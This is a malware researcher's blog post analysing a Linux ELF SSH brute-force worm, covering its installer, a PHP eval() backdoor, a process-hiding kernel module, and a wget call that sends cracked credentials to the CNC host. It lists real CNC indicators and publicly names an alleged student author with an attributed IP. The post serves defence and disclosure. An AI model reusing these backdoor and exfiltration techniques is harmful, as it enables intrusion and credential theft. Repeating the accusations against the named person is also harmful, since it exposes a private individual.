Background
Apparently Linux ELF malware is becoming an interesting attraction from several actors from People Republic of China(in short: PRC). This post is one good example about it. It explains also why myself, from my team (MMD), put many effort to study Linux executable malicious scheme came from that region recently, so does our colleges professional researchers in industry started to put serious effort for this specific threat fro this specific region.
The usage for Linux as the biggest backbone in our internet services, and its OS flexibility to support a lot of processor architecture has made Linux OS as a majority in market of embedded platform used in our the Internet of Things, from routers to television, from web camera to car control system. This fact has also attracted malware actors to overcome and conquer Linux with malicious usage from its system internals (kernel), its web services supported with various script programming, and vulnerabilities of its remote management access ; and this post is explaining these exploited aspects.
Today, one of my friends who is also focusing in monitoring ELF malware threat Mr. Michal Malik was mentioning me an interesting ELF sample he spotted in VirusTotal:
The sample was uploaded from China mainland network in PRC to VirusTotal. It's a new undetected malware that raises my interest to check it, and this is where the story starts.
Malware's installer and its overall malicious scheme
The malware file (md5: dfc09aa4b5c7b49d804d2ce046defb60 [link]) is an x32 binary of a dynamically unstripped ELF structure with readable database. I urge to them who interest in ELF analysis to take a look at the sample directly while reading the following explanation as reference.
Together with its overall malicous scheme of this infection, I will explain the malware binary functionality. Let's start with the malware installation bash script first, please see the illustration of its installer code below:
Along with the set of accompanied malicious files, this ELF malware file (the sample) is downloaded from its download CNC host via an openly accessed HTTP protocol, and is being executed under "God Mode" 777 permission as a daemon. The accompanied malware components files, are supposed to be a kernel module in C code and the binary build-compilation component Makefile file are also downloaded by the same method.
The installer will create the text of PHP script/code with a short commands (see the picture below) which means to extract the eval() value of whatever data sent (obviously via remote) by POST HTTP method to this malicious file "crack". In the end this "crack" code will be saved it in the web server's data directory of the victim's server with the filename of "crack.php". It's not careless to assume that via that posted eval() obviously a shell access can be gained to send activity or command this ELF malware action/daemon, or maybe more.. This is the backdoor process number one on how the malware and infected server can be remotely accessed and controlled by the attacker.
The malicious kernel module source code file, which is a copy-paste code from researchers that is very eager to share their malcodes online openly, will be compiled and inserted (insmod) to the victim's linux kernel. This is the kernel module to produce the invisibility of the malware process among server's processes, by manipulation technique in pid dir entry via Linux kernel's sys_call_table's hooks to avoid the administrator or (in some level) scanners or detection tool to spot the running malicious daemon. This kernel module is a copy paste from some classic PoC code with the very slight modification made by the actor adjusted to the daemon used in this threat. The picture below will explain a very limited view of the code:
There is a good question about this process hiding kernel mode that had been asked in reddit /r/Linux that I answered, I will share it here too here in following picture without showing its malicious code. It explains "a bit" about the kernel internals work of post process-hiding manipulation coded in this malware and explains ways to un-hidden it.
The point of concern here is the code to hack the sys_call_table entries like sys_call_table[SYS_getdents] in this case, for etc PoC purpose is so wide-spread openly, inspiring its usage for coding malware's .ko module like this case.
The malware binary will run with directly connect to download CNC host to retrieve a word list text file (with system shell command wget). Then retrieving the list of IP addresses data (with system shell command wget also) for the target list ; and parsed them to the connection checking function following with cracking attempt function contains commands of the SSH login attack process via two types of authentication : by plain text auth and keyboard auth basis ; to then using brute force attack with the user name which is set to variable value into "root" by hard coding default(It can be changed..) and the downloaded word list beforehand as SSH "password". Upon a matched password, the malware will gain access the shell of the targeted victim and execute a remote command below:
And will send return code "23333" to the crack main function to send the successfully cracked SSH credential to the download CNC via format:
%HOSTNAME%/sshv.php?out=%s&pass=%swhich is also executed by ELF malware using "wget" via shell.
Noted in "different version", there is a deactivated code section explained an HTTP network beacon activity as per below request:
Protocol: "HTTP/1.1" host: "city.ip138.com" GET "/ip2city.asp"- to determine the location of the infected server. This is the second backdoor function of this malware. There is also being detected another activity to check whether the correct files were downloaded from the CNC download server under specific condition, that can be actually expanded to updates functionality, if the code was activated that would be the third backdoor verdict.
I made a very rough sketch during the my reversing analysis to figure the overall concept of this malware, it's really a private sketch but may help you too to understand the above summary, as per illustration below.. please bear the paintbrush level of graphic, I don't have much time nor luxury to make a neat note.
Hmm.. I think I wrote the summary a bit too long.. I'm sorry about that..
The malicious verdict explained in reversing mode
In this section I will skip the static analysis of the binary form, for the tips/reference of how I conduct a dynamic link ELF binary please see the previous analysis of K-Defend malware [link], and I was doing about the same in this case too.
So right now, I will show some pointers of the functions described in the summary above in x32 Intel assembly reversed code, with some correlation in C language, this section is made for the purpose to Proof of Concept the verdict/evidence of this binary as per summarized in the above section. I am using only r2 my beloved platform for malware analysis, for this purpose. I might not cover the whole summary for the limited space and time, so you can feel free to confirm the details.
The starting main() function of the malware process, see how system (read: shell environment) was invoked by the wget commands which is used as per below:
The checking connection process was done using the ping command with capturing its stream result.
This is the function 0x0804A384 of what is named as sshgussing() function, which is the typo of the SSHGuessing I guess, explaining the brute SSH authentication session, with default "root" password used while feeding the passwords, it shows the remote shell command executed upon connection success,flagging the "crackz" pointer into 1, a success message shown afterwards and return value of "23333" in its decimal value:
The return value "23333" from sshgussing() function will trigger the malware to send the cracked IP address and password credential to the remote host CNC via wget to a PHP API file provided in the CNC host for that purpose:
To be clearly noted here: Referring to the description I wrote of the malware until this line, this malware is having another potentially dangerous function to self spread itself as a Worm to infect other host and to another host after that, without even the coder/herder/actor always in control for it, as wide ranged as the CNC target IP addresses listed, and as long as the CNC target file is available to be downloaded by the compromised(infected) server.. This is why I called this as a "nasty" malware in its design.
The threat's source
For the mitigation purpose herewith the network correlation of the threat:
1. The CNC host for download and credential panel API(in php) is served under hostname of "testzzzzzz.10g.me" which is located in IP as per below. (PS: I think the coder loves to add some "Z" in several keywords..:
;; QUESTION SECTION: ;testzzzzzz.10g.me. IN A ;; ANSWER SECTION: testzzzzzz.10g.me. 3600 IN A 93.188.160.78 ;; AUTHORITY SECTION: 10g.me. 3600 IN NS ns1.main-hosting.com. 10g.me. 3600 IN NS ns2.main-hosting.com. ;; ADDITIONAL SECTION: ns1.main-hosting.com. 3600 IN A 31.170.163.241 ns2.main-hosting.com. 3600 IN A 31.220.23.1It was checked that the actor is utilizing the service of the China domain hoster: 10g.me to set this CNC host.
2. The first 3 IP addresses in sshv-service-rule are suspected belong to the actor(s) themself.
$ cat sshv-service-rule #1 "178.62.163.229" "101.229.[65-70].128" "178.62.163.[228-231]" 10.10.10.* 10.[20-25].123.123Which 178.62.163.[228-231] is apparently a rental VPS in Digital Ocean Hoster at Netherland data center:
{
"ip": "178.62.163.[228-231]",
"hostname": "No Hostname",
"city": "Amsterdam",
"region": "North Holland",
"country": "NL",
"loc": "52.3740,4.8897",
"org": "AS200130 Digital Ocean, Inc.",
"postal": "1000"
}3. There is another IP to be marked with, linked with the actor information directly and his purpose in the following section.
The bad (kid) actor..
Obviously the actor, which is undoubtedly the coder of the kernel module of this malware according to the previous written codes, which he is not caring much off his privacy too, his name is spotted in the malware set of kernel module source code. Maybe he can code a bit in C and does some Linux operations & code some scripts, but this guy is an amateur if he is a crook.. NEVERTHELESS, undoubtedly, he was making a VERY nasty new approach of a bad ELF malware botnet and implementing it in our internet!! And for this, it has to be stopped!
A further investigation on the "ssh-service-rule" hosts is bumped to the identification of the "actor":
It doesn't take much time afterwards for our team to spot the actor's ID and his "project". To Jerry Xu in Shanghai, China. WE ARE ALL STARRING AT YOU NOW! [removed] [removed]! STOP playing with SSH hacking botnet!!
For further trace we found Jerry Xu's GitHub, it is in here-->[removed]
And in that Github his malware coding project with name of "Computer_System_Project" for this malware is also spotted afterward after analysis report was posted:
The "malware / virus project's" itinerary, deisgn and how to build it:
We will leave it to you all to think about the morality and educational aspect in using such malware for the "school project", I have a deep doubt about the supervising scheme for this project too actually. But, one thing for sure is, when Michal and myself sees the binary of this bot client, we see it as a dangerous ELF malware. A further check that we are doing is showing that the malware actor himself was uploading the malware binary to the VirusTotal for the possible purpose to check its detection ratio..
Well, as a "school project" they really are getting a bit out of hand here, isn't it?
The below data is likely Jerry's related IP address located in Shanghai, as per spotted in his sshv-service-rule, so if you see some malicious activity from it, this post can be used as reference of what had happened:
{
"ip": "101.229.65.128",
"hostname": "No Hostname",
"city": "Shanghai",
"region": "Shanghai Shi",
"country": "CN",
"loc": "31.0456,121.3997",
"org": "AS4812 China Telecom (Group)"
}
It looks like Jerry & Co is testing his malware "online" to some internet servers too. This is snipped result of data grabbed saved in the CNC containing success exploitation IP and password of SSH targeted servers. I would say it could be a test stage result.
Guideline to conduct a responsible malware research
We are not against research for malicious codes, and it is good for doing such research for the further mitigation and protection purpose. However, "malcodes" can do harm and can be re-use by cyber criminal for the bad purpose. Therefore, such research has to be properly/securely setup to conduct tests for its legit purpose.
There are basic guidelines to be must-followed in order to securely setup and conduct such research with its tests. From our point of view, the basic guidelines to follow is as per below points:
- Always put some notes in binary/environment stated the purpose of research/test
- Never conduct the test in the open internet connectivity
- Do not EVER use internet nodes as a test bed!! Unless you have written consent for it.
- Highly supervised by the responsible legit entity and/or institution
- Do not share the malcodes openly and leave it up-and-alive openly accessible in internet
( do the limited access for the research purpose )
Epilogue and follow up
I thank Michal for this good finding. And for MalwareMustDie ELF team mates who swiftly cracked the source of the threat, ID and the real situation of this case, you are all awesome! Thank you to all friends who help to follow the case until the very end of it.
Let's not make our internet dirty by be more responsible in conducting research on dangerous material like computer virus or malware. Please remember that in some countries even if you own the source code of the malware you'll have a serious trouble with the law and authority.
For the research purpose, you can fetch the sample safely in our-beloved ELF malware repository in kernelmode.info [link], you'll see my experts colleagues in ELF malware research are on discussion on this threat, you can join this malware related discussion in there.
For the mitigation, Linux hardening and sysadmin perspective of this type of malware threat, there is a nice discussion that I am assisting on reddit's /r/linux [link], on the other reddit's /r/Malware thread I am posting follow up info of the case [link].
The apology from coder & a requirement of the virus making project..
After following some requests, we saw the infrastructure for this malware was taken down:
@MalwareMustDie After 24h post & requests sent to GitHub & Univ, CNC+GitHub #malware code was taken down, THANK YOU! pic.twitter.com/fQJzFVIeHv
— ☩MalwareMustDie (@MalwareMustDie) December 25, 2015PoC:
We then received a sincere apology message from the malware coder. He admitted to test it online too. You can see his message posted in his blog by online in here [link]. It's in English so you can read and comprehend the message as well as I do.
I, on behalf of my team, thanked Jerry for the sincere apology, and will delete the privacy related link and material I posted to this post after we confirm some facts further. The point in the message that I think you all need to know too is, as per shown in the below picture.
We need to be cleared of one thing only, is it a requirement from himself as the virus project leader or from the university side to make this virus project with its requirement?
I think Jerry personally knows the bad effect of his "project" and he gently admits his mistake showing he now awares of the dangerous effect for openly deploying his virus project and his tests. He made a good decision to put down all codes offline the GitHub, I respect that. After all, we thank Jerry for raising a very important aspect in Linux security too. It is a Christmas session now, let's accept the apology (upon confirming some facts) and Merry Christmas to Jerry from MalwareMustDie.
#MalwareMustDie!
